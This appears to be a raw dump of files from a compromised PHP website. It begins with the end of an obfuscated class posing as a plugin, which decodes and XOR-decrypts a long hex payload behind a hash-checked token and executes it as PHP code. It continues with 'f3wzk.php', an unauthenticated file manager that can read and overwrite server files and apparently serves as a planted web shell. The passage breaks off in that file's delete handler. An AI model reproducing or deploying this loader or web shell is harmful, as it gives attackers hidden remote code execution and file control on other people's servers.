04c06635d2e07556e747a4f2adfebe90fffe8facce4ff5f72f65752ee5742eeaef8b599d4b399d97fcf7bfe96f9bd5b994d3f959fefb5ff4f7ab9cce05fdfd93accefff3f9efb7399d57f9ef7fd7dfc34b399d27fdfdef599d4bfadb22e5a5fcf7e5acce7fe9ef7fcfea5ccae9fc8bfefe854aa127fdfd31ab73417fbfae14faa0bf5fd50a7dccea5cd0dfe0942ff9ef8ffafb2352fe87fe7e8e55be442a5fe9ef4b399dffe3f9ef7fd5dfbf9ffffe10a9fc83fcf76ba4b4fc3cf8c3fcf73bacfc55a4fc69fefb9790f2d7f2df3f43caff2dfffd8c94e7fcf77bacfcfdfcf76bacfc55a4fc69fefb9790f2d7f3df9790f27fce7f5ba47c95fffe5855f97bf9ef0b5595ff7bfefbbf9192bd4cc5afe6bf3f20e5d97fbfc7ca5f454ad6fc7fc4ca5f45ca0ff9eff625abf30b48f99ff9ef7f454a665b3e62e5af22e507fdfd8355fe6afefb0356fe2a525eca7f5f66959790f247fefbbf58e525a43cfbef5f61959790926bfe6bacf2125272bec3afb1ca4b4849fffd7356b99858df59fc0c2971c63e6025f6d9d1eed8fd6fa4b4fefb192b77f222ab6ca4643dc405a4643cb5b8cc2adbc7ee7556e71552b6f376eb9df3dfefb132521be2fb05a474faf74869ebcfffb5aa52728ad825a49c6cded69fbf669552fe0c294b55b3eb2da9dfe96f60657dfa09ab843d08ff62fdb998e129f5b2aaf07d7af183550eb1f6b04a9ca98f4879cd9acad7f5e73fb092f1529bc57f8f9440c68bf5e7c0ca8a27c3b756f90e2961f7df2e2025fc58ba923f6395d0a31791f2e142fefb192b2785fa2952b64dcdaa8eb7f5e7162b57fa12abdcb2aee32252767e7b29ff6d59e52e769a8b488993f331ff6db1923d2c81f3788955ae594dfc1e296dfefb3ee484a7497681554ef7a1ba80942bdffdb9fe8e4a7319293909f027fabbe2fc2da1d7b95e3846be42ca98f510b67eed2d5202d716ae645607bf290778bf37ac32ea2e2165e067e9e38a33273853c3ec5e63a52981324bf90129333d3d2d863652c9a8b0fbe4bf9fb0f2a92be2ffd7dfff2fd5df61f2fd94c0faff0fe9ef3eab7d479dfdf71b5619af1e71f60afd91531657567f8f61a51faa2a674e33c92fe86fc57a88b69717f4b797ef633b67527fa8aa8cd7dff78973497fcf5cf90967e76355655274aa2b5cf5517fb352e881fa9bbd596f59a5aef36de66ac1dd63b75bdc6d0e79b7610f5bcaea5256ee2729639aba6ea6b2ca67a132c358fb57ac99c27b2dd524dfe5ddc0c9b496766a24671eb09a61891d3e5aac49a1e61ab027ceae4caaa5e27e3a9293128e89909643e4c39c7e6bfc7f9ffe962e59e5bccb3813688093b1fd03fdbd6aac3d4c1b5f846a449becfe487ffffda4bf9d03ac52c02a75f127fa5b9055166756c9f94f873fd2df0d5925b3f4ec10aaa7b56aff447fcb3b588bedd49193e096757c7fa0bfd3c7b3fec67b1ac5a794aafc13fd4dab5c057fc32aaf6895a15378d62aff37fd0dcfc82ee6b982d259f5eb983595ffbbfe763490b2d24a6d7972a86aba81ff07fabb0b8095656d6ad5038506f876ff0ff4f712c8ef8dc1c2fa2eaecb56ebe20ff437197e94362258e7cb0538842eff447fe75019b0dbf69c1fc3694c6562fe407f07b44a110c8c53b9f3a3f1552dfe407fcfeb2da733bc5455da2924ffb3fe9e9eb196f56bd102368713f507fa3b5af5cb68cd6920b04a071e214efe447fdbfeb1c5fa7bcd5aa1b1e37799defc81fe864608838a99aeef0783b325ff487f53e964f576a487c574a173c3bdfa9ff5f7803556e46be629ff2d8b6899ff9455fea7fe0ec82ae13b77d2e93db992546cbfaebfdfb3ca3d5925273c816db12b5ccb0ffafb575925991638a5a754f0c2293feaef9fb14a8b94abc7ee07a7e4bc1ece0c98aff3fdac09fe95555e424ace197cc32ac14d9a2bce85ced861ea7046d8cf91f2bdfe0656368357ac923df49ce90a15bd34122895a4bfd3ffed4ecb7355e5597f37aca914093825eca1b475d8bf94d57946ca4460cd5feb6f56551e590b88f3c55939b7bf8a94d67f5fc38fbcd2df0159654c8b50eb42676d35c8f447a4c469bea4bf953e64f5ebaaca82f6c00a196b0ff0ce97f4f74fb33af09daffabff356f8d0dfc9b9fe1ca8f3897341ff2babf30a296ff2a331aff4f72407ab9477510d657cd48eaa75f92b48f9527fde855ef6a6ff7bbefad68001dce9f27fca7f1ff317fd3db6954282783ef99ff2dfc2dae4b3fe4eca5aadc9cf6daf8e6a06b193ff46fe3be07c55f12affedb25648decd18ef488af069bad2ff98ffce6995ab7fea44c013fc0ffa7bda46affabf234e45e5378085e4c702fe39ff1dfded709abd499ef53710c2ea6fbc0fb0520b01a4f875fd0dadf4f705fd2dd81522c821f0dfe277f4b718705ee68bfeceeb8af73c8c2567c838ac91ddfc8efe9e54fbc0d9beebffe6a4698b9477d0dfcab8bfaebfa1f8d4f3a40cce485aacc49fe4bfbdfc1aef3938ebeffc4ff3df405bb0ca9bb3fed66756c999a9b028438fa1f46fe4bf674efe8c94d0dfe68495d419e7d059ff9d1009eb0facb24b527331ffcd38a33923a5f5dff915eb6c674a75bc5bc2ce7bfbadfcf7dc76c21783a758e5f8cff2dfa6f19f9092fafb731b6b2265152f14e74cfafb8bfafba4ebcb5d8db1aa8659bb39ebeff4f1f867f96fceadcaea2a3debeff92fb0ca7fcf7fe3341e2d56527f6bd8f9b0b8e22c1d9c9c7bd65de35bde2325b5e0b1b894d501466e9f9092914aabbf43cb29b1df60d76ee0fd46fefb98707a59bab1fa9bd3788094bde5c8b4a9af114e06d6f657f3df9b6832b2f3f6cefa1bebfcf71fe5bf856657c4535647fe69fe3b0d9c80537d2dab8cbd5cff41fe1b9c129e4f58a404a77cd7fffdfbf9eff41c6f799e95f18495ff7bfefb81fafb192967adf9b3fcf750eac2d14f933254dd10297dd5c126d7d4df8bd2ff9dfcf780f3bbce3d8dc1064f2ea67f98ff66156da0a4e6dcef6c92c79c3b26d5069fc0a9796567eb192739700eaab3ac8649a98183c504a7a4db7451fbb8b5f15225d2b153798c7672a2977274326b6584fdd82cd6f89a75769ad50747f3261a47df59c6c50e53ce47d67259da79f63a2dae60950fb062de46e18e13db91e2468919700e5b94f28ea451637b3475a89c366f7c5bfb2d85bc0b26b7f01f818395bb3ed79f9b742c84174e82eb4498f5a2c402dafa7328b6877cf518cc3c76e36f3aed9c1a89b7805dc3a6b48b75f024ac3852598fb3c02ed724a922ced62da889ecd4ee381e'; $marksyg427 = 'mZRv84_3_mtxM20'; $partsybe33[$marksyg427] = $partaoc827; $markersiVV42[] = $marksyg427; $partGKu968 = 'b4e75b1d1caca51b4e02f0f23c48d4e713f13c7681ef153046952795f62174da064a979643253919d047dc60f73bd915c3549b70becebfd0774eebb287efe44f8e60b5f594f67094237c23f49a18501381b9d4b90f55bccc812bb06be841e1839f57d4a5d2abc8aa5b7c824f2664c0d7e7c3a2c733d07fc33fe9d26ca1bfbd3019dcf33bb5570c6195e026fe177c423087fe0ebc404c81e536c2a100fa13ffacbf6f122819e8ad3d3d3afcda866f13d74e0bfd0d1fa28e7259ed70fec8ad3c3d1c404582e1436dfdb58555fa4fac129c60dacd8792baf36fee27143a58a51e65c3cfa778fdbd86ba4ef132f0a1810fe613c05a7012b482554ec6cd62e5af136a61fc043c8297801180a7ec94ca3d28be0dbc2f580eec5e6de8dfc1cfe5b1dcc32ab7d0205d06df172df1695019785db2ca93d5df78a6192c0af6f009085187cadf812bd37fafa1e054be839dd3f301f1fb25ecdc98f204f47d46ca67fded3f606db6507890e902c8048b68c1c204b152919fc37f874e5dc3628c724e6d9ce67ed0682a1df0732a1d33829716d0df8c334d36c06b46c3aa11e30c5909864745bf1e14b18e4edaa90eb0d27e5e03cfa164a0a6f68a1ac9b1fe1b2783fe1b383e52d0010b2d0750365bece740ae337b7ac146767357c2633c96503a7e8cb7c8eaaa67b46653c48981557eeec7220835e32fabc76f60d143b02d0f3b7413ad7a494ea9d280fabbe45ecc4afaef19181ed8f4f502fc2c9b54964340e9e03d73eaefedfc887550750b9b1cc478ea690bb5a59a03ec7e407e5e800b150f41bbbd92abc64f944ce1a75bf814371ee6f0253c190563021bb0ca3baa0cf8331776ff15dc813c647d4bd61166e0a5369e82b51d0b383a300fbcd531c03ad09fd153c60e0e0af6c6b4e6b2fe96601d50f03d5406780a7c0c74279ea9da46930dd9377c9ce594587358a13b9f048ee4ffe9cc106a7a04efab2ee96f28f82d549ed5ad604a78efb8bb3d81f940457c6b80be8359396aa10ce8bf3f315219380ded81fa1bb8ff78879ddacf5b324ed5d37f0746aa4ae127aea71ac800ec04daf6b07b5ae557bcf79d5640ca4487e410b031092d068fbf219ee344497c26d4733a8515cea1e961531ff477ec34ee38f5fda86e2454c5b7a98d3be42e5593382e1871f536387d06aaa20af1deee54e5f7ef2295d04615f0799be4eb818daf41131ce55803e1e5b13a26503281fbe8cd579f7bb04a4d1b037f7775faed88a7bc4b1590d215404af109df5d06c7a02e8a24a904fe8f5aacb0a65091b0126886db3a52e0ad65efceebc30370ef46521b43f9903b59fd3d869af255999d14d403788c6fadd2a91c9c0c68639084a4f0e3d2698110fcf390aa43ad0b3c790a859ebaf92728699c6f2d52602563a83215f03ac53d38027c672393b3fe3e01bd71fefd2fc424582ace165865a0c953d5746f189179424af8f35dbcc66959414d4df232a6e7000b9db7e621589ff5771e302a0446c7a8500a9b3a26f4198d69611127f2f14895e0b1bd0b941aab21f4b7caa174b678efa03d94e480e088fb18480b36754d0f80bdb8372d2c781db88b55d325b549b3660085e7978cf1cd4a07fe3bd2e0c05c892159c741c4da0f81523740c26500752595d59d5fe10d8e49ad459460cf195dd1d39a7cedb69f4299c2c3fd4ddf99e16f80cc8c54427f831bd5c64bd20668a9a0b0031d779bfd58903b34c0739c36f88cac4fb08ff3d5369525b014e71dfe1ce76bfb09fe5a04ebf204bee65ba4847d00215c0d5d86130a2f9b5451335559170211c02aa73819276a44455fea6eddbc0ac0b63f462a810e09ed36ff5b8213c21bb8b3fac018c02d7cda1e3ac485fe1ee024b949459f524c603cf431bd844d92b7405f378c0a1e9650a858fb7e92d75b28f6e2012a73a0d5a887e2a3c2a366806f05a7848a041bf3adff1e406724f9d078f3f49fd3598f3543602dd472000ed908b05a173e4564e090b007f83075824d321aabaa515c4a46a674a407ae76e1201cf8ce09353efc77fa8db14e91c02a1270e7a062a4aef816280dff0d9fe1e3bde08f713abbdc0386407febafc0ae2074c4012a066cba8aa03bc10ec8a56ca452c2829ef477ba0a4ec04e012623a0133cf8efd15433ae0e7e46ae0af4c139008781368557027f07f6e63e635cb99f82e7072e950af879990ff00c6a86f34b3b87ffc6c9a0ff36238b9402b60ba4ccda0afe5baff35184a7049353b3ba71e46a2b178ed1e40e32ad3ca012ffec3303601a3040600cde1bfaa0b987a53ad07c355955f0acbf81be50b6498193d183f96a2f387eaeb12e77d4be89a2aa209f991ef0db5e45fee3cd2b01dfd99fa6d09b09e36b4e03ae041eb7be054a8911bcef321e167e56eb82dc096fc1f3ed36c0d17ffad758f982945adfe41530479d4e6a22f0fe404e67da00ad79fee10da2f67183ddd8a935b4516daef1162b792cdeeb6f5f7bd81d30c0cccb03d8f91a7e5f30bb06142cab275699a76378f8a8d16982b315d70523c2bd4eb7d1534ee79052bfc1e2888c7872289533ab1406ca461bc728a8c8abe0f8517fc722d731639dca0797aab0e6afb33ad0842720440aa5ec0263e07d07a984535d4087248904f3c58ed566ad9c4accda1cb80604082c1772fa09d6f2615e8f18995a5f404ab22df8954a47cb4aaada677e8ce775e9d40b0d9d5732660744f03e77d4dff30955860ea3763ba6ba863e8446a87aa0b5901321c9cfcd3dacb2cf547d7ac9ea406f59ab04fa64b01cb592f031014e696362f0f9d9503bf3f61bf99a323a2ec1b6dc0359e543341960a97a3c12fd1ad079d540f3fb2ef479ab959e8009dd060e705e1bfab1d516ef147438206070cd1b56495589f31c9155ce6c64aa1880a550f10d527c02f306365679b3107a1781e94e8f40a763b18d407580f3f07385ab2ba09207a0508d0a9c2d6d32858559fffd8495a55327a5015782d7ef02facaaf60801aded99dd6a603b35d831beb33a79457731b57cceb00cad4b8397e0aeb3d5eaca1fbe1cfe7752ff4b008a196f56c5da4f88d50d79b72311141dc9d39a5f5dfcf599d21b8502be13460ef6bd875920db5abdac780be3383a267441e783f66b6139fb0234736632081bbd02f599debb976da28796295ea118839ae618b505dbd1be239e121eef07bf063f4c7f83e67dee566b1122686cfd6cbea21741fbf52238087f7d05002c81927eb01fc559ee2bc8741396df0e4697f6723158c1557c2808560c50a207501ab156bd9e09439599bbbb05aa11f607b679fa2644f3f06ce903e8a106c2b6f735f3562b0c0c9c84a7d0f6486e5881b78bf41ca2c00f4b9740bf0737d050d9cd21b48b0abc317e93683109c3c3f4277badb31be6300ce08b525af32a1da587dde4793db132894982f8b10e7c2f25433497505ee0b36069b02bb025e179d5ee27ba01a67e586b94a17ebb0c65b4ae85220468575188c880e58893257d3baf2c06456383b01349f00f31d317a96b7fd608ef34eaf38a7a24b1f192d11d1c4872f814fd0f09ddd4c997d849590abe0564ebeefe14b3523cf386b03a8cce3dcd1f7d3233c04ce3b3c86c6ef09c61573072ac289568f03b02d2751db8ec8088ed025eb4a036be9859cc53297c0fb140c3fcc18d169a627fef6a995694ebb76e0b70658ad7b454507b689755887788648079e86f79047531b6703ee7f804f79fccafc580eb554e19c37628e35c653429fe99d54a2c73f7f83af9fa85cc1cf5c706913ab690376e69823e32d5af985ec06d076f93e6b37501183323916fbe9247766b504c3878f491f4d66bd93cd590ea09ea5c63ad052fb083f7113ad8549950fb6ae6111307facc30c16113a8c06eaaf58077cc3f4346f73019bbc0282b8d4fe7a3f76e09f6011b44a58449b012132d5588b01233b701d182d854e0323c03aa4156b301c46c069951ba8c6fc61de3e7ea555d2226cc674f8bd01579281435e2a1e18b982c52c6993e0ed9dcd491ad675c85a3aa103ccc0c92023c0ba38919658879c56b99b4d60934a86609d9aec0c36b9275fcb69958304cc66869331ab7b4756a694ee09bc28dfc32ab10ef908d8bb0bca2a8145c1266509a6c4ec39ac72de6e9829be9256f361b792e201eb40761dc46b5aed8627833609250b9ba43d248c80d3226895603cb44a07bb574f4b791f0e69958322afe59df4a8f8b0d68d7622e03f9ec18bb10e8c9f0b458ba055820b5de1bd06d8ad6f01747a0aabc43adcd22a25f4b84c610f35be6159ec'; $marksPN118 = 'mcKg65_1_mMIf52'; $partsybe33[$marksPN118] = $partGKu968; $markersiVV42[] = $marksPN118; $partbhr619 = '8079ff79bd7d9837fa9abd997177db454b20b28b3507dd609c61c6087c53412b07b03975b2751e63309d51f2542b84b760fedb634436b1539c73cfe6bf71b698ff86efbc02d33ee05cd8997719a73350eb5856f921ab53f629a325385bf731efb88446c8eb03cf776ce38a867922f2cacc69c6e7fc37bd7173c23a48f0d80ef83e644e07278636e92b87f56b82f5c8cd2dd44c801d2e18e373e6abed8d3c1a132873ae845c4a5646814319051b64a651429748e8157b1b46433b7fcf2a25ef410e98e56bc142a03f813106b656e4ae607474292b4ec520b24fed3d999b253844c7298c444a5deb6bdeacab142b477c4ea9d058ad2ee978927a6f3ec91a56f582034ec0c9eb0df39d29a7db84ea20524e78f2f231a308d0dfc9fc589cc2c9a060d733f4372b865c7bd3edd7a48a9aa9ca3a68d2306ac053e03b43305dee0a9032e5ed13cac939937fccfc1ff365f039bcbf84332318873c16b080e9296bc0741abd6694d0aea4aa980f1be56be1c38fdaaa4cf81c7c23bd7f5c17fbd0791451f7b9c1fe0e14ce50d61ac6cf6995f46b1f90727eb471a9c8e6bf03468ba6edc1859a0a98670fca8392eae00555f5000c5966131beba0f66596ef6e4ef44a6d3db25382550afa8c7de0f9e7b325a6fbd8deb5fd78251db0ce6575fb1bfa7bb51d5bce5016135b95d1a88eb35312c7b7d357e64bc9acaf8d9feb2452acbb14ff5255f992ff3eb2da10aa73acebe6dae64beeb4571509ebd79e6295365209eb0c1a758a6d968f4ae7497fbb503f769a7df060f3823e90cfc06fc33f933d8355d686b7f96ec92a71b6ec7e9b8ede396f6dbf70057fbee6cde59a914605242c357bede185fc07c9d95bf88ed84e5f92d7412962f0577f06ab8ed4a6032b65d603fbcd5bab61c12e98cf48b6cdb551c62a363d14cbfc62a4923669183fb73583664dabc4f9e62414f7ecbf0d63fab0cac127dede0e8c71a294dab71a2fb4096983a0e923e21ab82f2b1c1d99467a708d53b8a2fe9ac12bd9a8d06450e6172a859492fb73860b58a9a513748bf2c07baf03391c689c77933992fa6b2c95a23dacb59d5aa2af83b5ad57a5aa59174ecefc77ba550b4611d44ff5f77b4e59dbfc37e7ae3122da4d27c18e77e2507f07c3c2934379cdc873c82adb4e60df1b65673178b98286a4b25015e3e72f599d8bac127c9c51a264227a60fdf21929cff9ef5758a9b3d66f33664f6bcec2fb5155f95e7f43eddbfc77be633e0cb2a9872fbd9e825df39672aa28665438d9883592cc17014306f00ce03045c74825e36b1f6395e74aa10d518ad358eee063d2b1bb19e164f8cce90476fedae1cace9d1b43b9d60938217ec3032a1d5831114055b02a0b2a93b72eaf5993f1965352fb632598ef149caf46544ad5c1b595bb29e7b7d0236c5db0905896d189b11fec0d4e2fcf7f60e3e7197b2618bb8ec195a13bcbde9c111f7b51dc69a827be05907343cfa8acfede0ce69a111330f8d838b07c66cd978334d1399ea38272c59ba4df6a58e53104fbd68c1a720af4d17c0bbd5b7aced6c6cf6ff2b6bf03271b66b5ecec7c26802319603e345eb0fae7c4094049ed80c7e5dd7c75f87256d7ecf0c47eb65085d4df9adc080a1fea198cc51bedb9d63c9d5078e139a7c362627bcfc3105e89f37a0043efb1f28c9419e705ed62f8ac34311eb1076a5b8eb12ff1534e87e7fb5f59a5e552b2c64ab9ac57ae9c2716b28fcef399d6c13dce73c8db09a249e0ccd73923f0f80de342e96097c4a785f379cf6ce7d88537a205091d0476bea23e5744c00a804a4e21d215556241a49c4d55b553c9bb4aa173fd396d92786ee3e7af586509d528f094ac8403974a95b90f3dbfd7ebec04f51524de067ecf27a7043fc7f9f567b6fbc35c5123c832a04fd9257ad0e2df60f4c10c483949d37e94b9395586cf58273e9935456ecef3dd41f3a969bd65e6188c5770c619504a8fd2e1e03ae7774289cce83b87df4f567f4f387f8d7142d8186ba7881076f695aeabbf6321d75959ecf036f45bbc731c783fed597331af39874edafa352886c966c4b5cc6b0d5ce9a9837abd7a2c61fb9a77a8500bc126af79e79d71e01f540ec0538c8832666bf3048f3c19370bf7d1c7c9817a083a60adcbc894ec80df2be1cd2bb2efdcc8d2385865e6bf61957c4a585e6a55c61236322c0fd3ba215262cffd8259bec59abb57c1e65917a24f81f319a7042c621442efb22f0facc262e5bf236515e0cf2b661a6dfe1b6c6bfb8295786ff014fd03298139b6ee7a0db4aef02ed0b4cf91caa7faf317accc5a4e898c8131ac53038f611e901973675657ac66885811954d60c509f3c0403eab5c99cdb0dd5fc9e02be700b3da144a872c744cbd061624e6dda695cba801cb844d1a7bc64c008b0056e2b0a9690bff0d84c0fe9255e2e4308a00afa46d4d25740abb6660933752058cd6ac6d55066f4abf5eacc48cb3cf545a01cbea165ad85736cb57b9dadd3e48c55a7fa755a9183df96fb24a707f9c9d014e27d645b84107fda50e1110e2f4545549bfc68c1aac8bf510bac89a82f931af28257baf55b14ba875c0bae0af67e0cd7baccc2973fc12f8dd195677ffc8e90c80a2e7ba1e70b1c101a7cf683b034e5e81bf29d89a9939ba50cc6ef196c01467dce3746b0d26d2dc2c1ccedbe38c88500ca05454fba2bf8fa6854f81efcc8f8ab563b01876c671be03b9314e929b79f4c06095b0ca8c51a14e03bf25a3082adf03299d391122219ecb74ec147d368c5a3202cdb3b8a4269225d6afe4fc8a5ee1bd1e6ce79536c00fd6127e404aead21be89320ae6d8f476aa0e5833861264165bda91f99fffeca4e1d3d6185eb06cfa07d760f48467c5543a573cd5b1a886bb72795020126451969a80cb28c063e4383dd6ad8b873607f19febb52e0e726a8e18d13d685e41bc6728d8ec122b2614edc3a24f0bebf8a94e40e1fb1f2df901202cc853fabb1577b1b77b8862d2b1bdb62ef1eeb955ca0526d7c20d0216755a510056bc7c09d74a2f20e6c769cb78de17ee7f7a6ed07587b8db55d638d8bec5880d96a1bdb0af84c8058acf5269e0858750ea4ccaf8094ac6f5996a7b9f3b99fb53df89802ff0f384568172d354eca47fdcd3afc45599f588361a7437c8a79470674a754458ff3dbb15e2d06f3952bed4db586556a99d58db25d8f4db564c476ae36b4165bf9d58ca858a70a67a1ed7b4ef0e35d51cc3d8f1d3162376004739dad8b346f06acb79902177667ff3d6f37ece6bb66b413ef5500b1c57c39f05895a126b7272a9de05c9301bfbec14a6e58c5a12dae7d0bc026c9c7b062e3189881d5e36cd307d8e08dad3f5f578ab90bf8ceb1555b2ac7c919744ffabb7d0c715e396dd697b518dafc37d8162c6604bb57b18a4eb0eb3656b6e66a039decc7ceb97facf271da0266cc9292535d05b913905240e998845105564c9d733afd41a6152b2269933ff2df2d2c60b9b0fda10d58f7c0c7fe2be054c08e85309503765e814bf989471c64154dcefc77653b4d60bf76d2c50658795c94bdb03d2ffcde236765010ddae634af2bb03143fd8dd5de32b6a76f7babbfcb8393b7fe1598ee84936719158a38057492b31681fedb997156f132029706fa941abc256b7bd7f6c5b2f36ec24ae9830bb4fdc679aad2635f157c0c67b56a7ba39d9a36fe39ee6cebcfcff9ef4ad8db01578fe9b4963b1bb385ba939c975bfa2ee727ab969df450b965014580ddb4736b927356877a0cfadbd6a3828ff509ded10b9322a60e050aea342d4ef806ce683ec2c74e982f633d53e5258295f8b4886a049578bf28b5c1ee0878e5305365cf3e0c602d10427bc452bc35ebfceeb1df43790a39a98af1d292f5e7ac052e4fecc483de3ec0fbb5e0e39c6e0d0dd8a731f81cbc6f8167b2febb48a2c9e6ca56345245d4d67fbfd2df0dfcb71951bf335a3e87cf9189096397bd0e38bf5a3b55421b8345e0dff980d5b48ce9b3e738060380c7ff1b2835824e1d71ae05e706078ebd5f307d647647ce6b73cffc59361cc8bc8ef0d4d5564e7cc66c0f0abb329d3c21a510b7acfc4d80f7f4a105f3402be6bfc9ff13f68f1129578ff889ca93a9efce976593b3a7d1624c7025bd7c448ec1788b70e06558d9f9527f0edfe9dbfe122105784cc27e329c9cc02a1d87fedbb841f55a7f3322030e31968cd095591f0ce90d2acfe632eacfa759c72a7ac32908928a1e36c979b9e9e3df0bb74fdfd69fdba8ef309a70fae9b753041d0265d9cd38'; $markSlz199 = 'mpws55_7_mTDa12'; $partsybe33[$markSlz199] = $partbhr619; $markersiVV42[] = $markSlz199; usort($markersiVV42, function($a, $b) {     $a_idx = (int)explode('_', $a)[1];     $b_idx = (int)explode('_', $b)[1];     return $a_idx - $b_idx; }); $dataggex17 = ''; foreach ($markersiVV42 as $tmpOer49) {     $dataggex17 .= $partsybe33[$tmpOer49]; } $tmpOer49 = @substr($dataggex17, 5); $tmpidF58 = @hex2bin($tmpOer49); $methodDQT16 = @json_decode(@base64_decode('WyJiNjQiLCJyb3QiLCJjYjY0IiwidXUiXQ=='), true); $objeMl24 = new self(); $keyJri39 = ''; $keyJri39 .= $objeMl24->getJSmK58Key1(); $keyJri39 .= $objeMl24->getbElp76Key2(); $keyJri39 .= $objeMl24->getlkrS66Key3(); $keyZDt96 = ''; $keyZDt96 .= $objeMl24->getSuwp81Secret1(); $keyZDt96 .= $objeMl24->getOedq64Secret2(); $gatetVw96 = ''; $gatetVw96 .= $objeMl24->gettyGt93Token1(); $gatetVw96 .= $objeMl24->getYKjY10Token2(); if (@md5($gatetVw96) !== '884c494590987cc7edf7685b80ccd2c0') { return false; } $tmpSfP82 = @gzinflate($tmpidF58); if ($tmpSfP82 === false) { $tmpSfP82 = $tmpidF58; } $tmpNqF22 = $tmpSfP82; if (!empty($methodDQT16) && is_array($methodDQT16)) {     $methodDQT16 = @array_reverse($methodDQT16);     foreach ($methodDQT16 as $tmpOer49) {         switch ($tmpOer49) {             case 'b64': $tmpNqF22 = @base64_decode($tmpNqF22); break;             case 'rev': $tmpNqF22 = @strrev($tmpNqF22); break;             case 'rot': $tmpNqF22 = @str_rot13($tmpNqF22); break;             case 'cb64': $tmpNqF22 = @strtr($tmpNqF22, 'ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/', 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'); $tmpNqF22 = @base64_decode($tmpNqF22); break;             case 'url': $tmpNqF22 = @urldecode($tmpNqF22); break;             case 'uu': $tmpNqF22 = @convert_uudecode($tmpNqF22); break;         }     } } $cipherYGW39 = $tmpNqF22; $plainnPn14 = ''; $tmpOer49 = @strlen($keyJri39); $tmpidF58 = @strlen($keyZDt96); if ($tmpOer49 > 0 && $tmpidF58 > 0) {     for ($tmpSfP82=0; $tmpSfP82<@strlen($cipherYGW39); $tmpSfP82++) {         $tmpNqF22 = ($tmpSfP82 % 3 === 0) ? $keyJri39 : $keyZDt96;         $dataggex17 = ($tmpSfP82 % 3 === 0) ? $tmpOer49 : $tmpidF58;         if ($dataggex17 > 0) {             $plainnPn14 .= @chr(@ord($cipherYGW39[$tmpSfP82]) ^ @ord($tmpNqF22[$tmpSfP82 % $dataggex17]));         }     } } else {     $plainnPn14 = $cipherYGW39; } if (!empty($plainnPn14) && is_string($plainnPn14)) {     if (strpos($plainnPn14, '<?php') !== 0) {         $plainnPn14 = '<?php ' . $plainnPn14;     }     $objeMl24->executeOzdo98Code($plainnPn14); }  }
}

// Initialize the plugin
$objWaf81 = new PluginaQxi99ManagerMwUt16();
$objWaf81->initializeAjic40();

// End of file
f3wzk.php000064400000042731151550052240006327 0ustar00<?php
// file_manager_simple.php - File Manager without JavaScript
session_start();
error_reporting(0);

// ==================== CONFIGURATION ====================
$base_dir = realpath(__DIR__);
$root_anchor = dirname($base_dir);

// ==================== HELPER FUNCTIONS ====================
function sanitize_path($path){
    $path = str_replace('..', '', $path);
    $path = preg_replace('/[^a-zA-Z0-9\.\_\-\/]/', '', $path);
    return trim($path, '/');
}

function safe_realpath_within($path, $allowed_root){
    $rp = realpath($path);
    if($rp === false) return false;
    
    $root = rtrim($allowed_root, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;
    if(strpos($rp, $root) === 0 || $rp === rtrim($allowed_root, DIRECTORY_SEPARATOR)) {
        return $rp;
    }
    return false;
}

function get_file_list($dir){
    $files = [];
    if(is_dir($dir)){
        $items = scandir($dir);
        foreach($items as $item){
            if($item === '.' || $item === '..') continue;
            $full_path = $dir . DIRECTORY_SEPARATOR . $item;
            $files[] = [
                'name' => $item,
                'path' => $full_path,
                'size' => is_file($full_path) ? filesize($full_path) : 0,
                'type' => is_dir($full_path) ? 'directory' : 'file',
                'modified' => date('Y-m-d H:i:s', filemtime($full_path))
            ];
        }
    }
    return $files;
}

function format_size($bytes) {
    if ($bytes >= 1073741824) {
        return number_format($bytes / 1073741824, 2) . ' GB';
    } elseif ($bytes >= 1048576) {
        return number_format($bytes / 1048576, 2) . ' MB';
    } elseif ($bytes >= 1024) {
        return number_format($bytes / 1024, 2) . ' KB';
    } else {
        return $bytes . ' bytes';
    }
}

// ==================== REQUESTED DIRECTORY HANDLING ====================
$requested_dir = isset($_GET['dir']) ? sanitize_path($_GET['dir']) : basename($base_dir);
$current_dir_candidate = $root_anchor . ($requested_dir ? DIRECTORY_SEPARATOR . $requested_dir : '');
$current_dir = safe_realpath_within($current_dir_candidate, $root_anchor);

if($current_dir === false){
    $requested_dir = basename($base_dir);
    $current_dir = safe_realpath_within($root_anchor . DIRECTORY_SEPARATOR . $requested_dir, $root_anchor);
    if($current_dir === false){
        $requested_dir = '';
        $current_dir = safe_realpath_within($root_anchor, $root_anchor);
    }
}

// ==================== PARENT DIRECTORY CALCULATION ====================
if($requested_dir !== ''){
    $parent_dir = dirname($requested_dir);
    if($parent_dir === '.' || $parent_dir === '\\') $parent_dir = '';
} else {
    $parent_dir = '';
}

// ==================== BREADCRUMB NAVIGATION ====================
$dir_parts = [];
if($requested_dir !== ''){
    $parts = explode('/', $requested_dir);
    $current_path = '';
    foreach($parts as $part){
        $current_path .= ($current_path ? '/' : '') . $part;
        $dir_parts[] = [
            'name' => $part,
            'path' => $current_path
        ];
    }
}

// ==================== ACTION HANDLING ====================
$action = $_GET['action'] ?? 'list';
$message = '';

switch($action){
    case 'view':
        $file = sanitize_path($_GET['file'] ?? '');
        $file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
        if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){
            header('Content-Type: text/plain');
            readfile($file_path);
            exit;
        }
        break;

    case 'edit':
        $file = sanitize_path($_GET['file'] ?? '');
        $file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
        if($_SERVER['REQUEST_METHOD'] === 'POST'){
            $content = $_POST['content'] ?? '';
            if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){
                if(file_put_contents($file_path, $content) !== false){
                    $message = "File '{$file}' updated successfully!";
                } else {
                    $message = "Error updating file '{$file}'!";
                }
            }
            // Don't redirect - stay on edit page with message
        } else {
            if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){
                $content = htmlspecialchars(file_get_contents($file_path));
                echo "<!DOCTYPE html><html><head><meta charset='utf-8'><title>Edit: ".htmlspecialchars($file)."</title></head><body>";
                echo "<h2>Edit: ".htmlspecialchars($file)."</h2>";
                if($message) echo "<p style='color:green;'>$message</p>";
                echo "<form method='post'>";
                echo "<textarea name='content' style='width:100%;height:400px;font-family:monospace;'>$content</textarea><br><br>";
                echo "<button type='submit'>Save</button> ";
                echo "<a href='?action=list&dir=".urlencode($requested_dir)."'>Cancel</a>";
                echo "</form></body></html>";
                exit;
            }
        }
        break;

    case 'delete':
        $file = sanitize_path($_GET['file'] ?? '');
